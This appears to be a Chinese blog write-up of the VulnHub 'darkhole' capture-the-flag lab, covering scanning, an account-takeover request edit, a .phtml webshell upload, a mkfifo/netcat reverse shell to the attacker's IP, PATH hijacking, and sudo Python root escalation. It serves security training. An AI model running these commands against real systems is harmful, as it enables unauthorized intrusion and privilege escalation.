VulnHub:darkhole靶机实战

信息收集

主机发现

bf1ad70879554981bac367093d746112.png

攻击机ip靶机ip
192.168.66.128192.168.66.129

靶机综合扫描

nmap 192.168.66.129 -A -T4

a84137f03f754f45a5c404f0a0a09b47.png

开放端口有22、80

目录扫描

80端口开放,先访问看一下有没有可用信息。访问192.168.66.129页面如下:

eb9a9f59716d4e90b599d7236f89befa.png

到处看看,该网站只有登录,注册两个功能点。

# 目录扫描
dirsearch -u 192.168.66.129

b47b9c37c4db42319ca1a82b1031c7b9.png

挨着看有什么信息。

/config目录下有database.php文件,但是打开为空白(应该是没有权限)。

/dashboard.php显示不允许访问。这个页面应该是需要账户登录后才能访问。

9ee532bce8344b4f83848de74259b90d.png

/upload目录下只有一张照片。其余路径都是网站相关登录登出注册页面。

7c35ff30f9ad49ed9eaed86ac5036053.png

 

Web渗透

越权

根据信息收集的结果,从web页面入手,注册一个账号。注册admin账号提示用户已存在,admin应该是管理员用户。

账号密码邮箱
guest123456123456@qq.com

注册后登录,进入如下界面。

c810c7fb306e4b4495a181db52b894c1.png

是一个修改用户信息和密码修改的界面。此时guest用户登录,url中表明该用户id=2。那么合理猜测id=1是管理员账户。

ca0787c8fa4c4ff89cc10f590cb6a52a.png

敏感信息修改的页面都出来了,直接尝试越权操作。修改id值为1,结果是不被允许访问。

c7fbe078c14d4088acd3c682083b6a98.png

继续尝试越权,抓包找下思路。

9e47b139c1be4669851c4f92bb951fb1.png

直接修改id的值行不通,这里有个Priority: u=1很可疑。

修改数据包为:
Priority: u=0
​
password=123456&id=1

账户admin,密码:123456成功登录管理员账户。

167ddef539014c6786e5dc4c7f9c0892.png

 

getshell

可以看到成功登录admin账户。出现一个新的功能点——文件上传。上传各种后缀名文件找白名单。直接提示了白名单,只允许上传jpg,png,gif图片。

068b1e30ef624ca9981484ed0616d3e4.png

特殊后缀.phtml。内容依旧是一句话木马,后缀改为.phtml。

/upload目录下显示shell.phtml,说明成功上传。

25277673793546009b5ea319f670c812.png

蚁剑连接一句话木马。进一步收集信息。database.php中提示存在john这个用户。

94d41d0f773d43b9a2e4f0081e29c811.png

反弹shell

# 蚁剑虚拟终端
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.66.128 9999 >/tmp/f
​
# 攻击机
nc -lvnp 9999

成功,但是当前返回的shell没有显示所在的目录和用户。需要python返回一个shell(大部分Linux都安装了Python3),所以直接执行以下命令即可。

python3 -c 'import pty as pt;pt.spawn("/bin/bash")'

8cc0cf7e743441f18dc81bcc1fbb7559.png

获取john用户权限

cat /etc/passwd
# 找有/bin/bash权限的用户
cat /etc/passwd | grep /bin/bash

faba106a8b1345a8ae5ee5cf130e0b08.png

发现除root外还有两个用户。切换到john目录看看。

cd /home/john
ls -l

3ca8a21e7c234463a60b6603c282ee1a.png

有两个敏感文件password和user.txt,另外一个toto可执行文件和file.py文件。flag可能在两个敏感文件中,因此需要拿到john的shell。

执行toto后发现返回结果和id命令一致。

86436c08bfb442f59ec285f89b89a19e.png

既然与命令id功能相同,那么id=toto。利用这点,编辑新的id文件,写入/bin/bash,将新建的id文件路径写入原有环境变量前(从前往后匹配),运行toto就会使用john身份调用新建的id命令拿到shell。

echo '/bin/bash' > /tmp/id;chmod +x /tmp/id;export PATH=/tmp:$PATH

e4d09417e2974383a0db0e4d87c4b111.png

找到flag1和john用户密码。

e03dbe036574460981f6147580baf510.png

提权

进一步提权,sudo提权。

sudo -l 
# 需要密码,密码就是password敏感文件内容
root123

a25a492d54a74775814f416f4660a7be.png

可知,john可以以root的身份执行file.py。在file.py中写入获取shell的命令。

echo 'import os;os.system("/bin/bash")' > file.py

执行file.py文件。

sudo python3 /home/john/file.py

f42056b4ec6546bba1dfadce76f123a2.png

提权成功。

拿下flag2。🎆

0eb35e75bd9d49f3a72e5c1348c5a226.png

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值